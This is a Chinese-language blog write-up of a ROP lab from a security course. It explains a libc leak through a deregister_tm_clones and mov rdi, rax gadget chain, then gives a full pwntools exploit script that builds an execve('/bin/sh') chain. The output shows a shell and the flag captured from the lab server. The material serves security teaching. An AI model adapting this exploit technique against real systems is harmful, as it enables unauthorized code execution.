LYS Rop lab_rop4 Writeup

kazma 成大資安社 創辦人/社長

lab_rop4

這次藉著到 AIS3 當助教的緣故順便跟 Curious 一起把 LYS ROP 系列課程的 lab 整理到了部落格,也方便給學員參考。
那因為是一系列的 lab,所以接下來只會主要講跟上個版本的差異

Diff & Exploitation

這次是用更新的 gcc 編譯的,因為沒有 csu_init 所以 binary 沒有 pop_rdi 可以用了,但我們原本其實只是要用他來指定 printf 要 leak 某個 libc_adress,那 printf 在設定 rdi 時其實是用 mov rdi, rax,所以換句話說,我們只要控好 rax 就可以成功 leak,那這可以透過 deregister_tm_clones 來讓 rax 設定成一個特定的值,剛好因為 setvbuf 的關係所以 deregister_tm_clones 這邊會執行 mov eax, stdout@GLIBC_2.2.5,就可以 leak 出 stdout_got 算出 libc_base,那最後會用 execve('/bin/sh', 0, 0) 而不是像之前一樣 system('/bin/sh') 是因為 system 的毛比較多,exploit 跑到 system 裡會爛掉,改成 execve 就可以順利 RCE 了。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import warnings

from pwn import *

context.arch = "amd64"

warnings.filterwarnings("ignore", category=BytesWarning)

l = ELF("../libc.so.6")
r = process("./rop4")

dtmclones = 0x4010D0
ret = 0x40101A
name = 0x404060
mov_rdi_rax = 0x401240

p = flat(b"a" * 0x10, name + 0x10, ret, dtmclones, mov_rdi_rax)

# gdb.attach(r)
r.sendlineafter(b"? ", "a")
r.sendlineafter(b": ", p)
r.sendline(b"a")

l.address = u64(r.recv(6).ljust(8, b"\x00")) - 0x21A780
success("libc_base -> %s" % hex(l.address))

pop_rdi = l.address + 0x2A3E5
pop_rsi = l.address + 0x2BE51
pop_rax = l.address + 0x45EB0
pop_rdx = l.address + 0x796A2
syscall = l.address + 0x29DB4

p2 = flat(
b"a" * 0x18,
pop_rax,
0x3B,
pop_rdi,
next(l.search("/bin/sh\0")),
pop_rsi,
0,
pop_rdx,
0,
syscall,
)
# gdb.attach(r)
r.sendlineafter(b": ", p2)
r.interactive()

Result

1
2
3
4
5
6
7
8
9
10
11
12
└─$ python exploit.py
[*] '/home/kazma/lys_rop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 35.229.243.81 on port 10104: Done
[+] libc_base -> 0x7f9d93996000
[*] Switching to interactive mode
$ cat /home/chal/flag.txt
FLAG{323c28b8ccb8caf18383bc9529212924}$

Pwned !!!

  • Title: LYS Rop lab_rop4 Writeup
  • Author: kazma
  • Created at : 2024-08-05 23:52:01
  • Updated at : 2024-08-06 02:14:31
  • Link: https://kazma.tw/2024/08/05/LYS-Rop-lab-rop4-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
LYS Rop lab_rop4 Writeup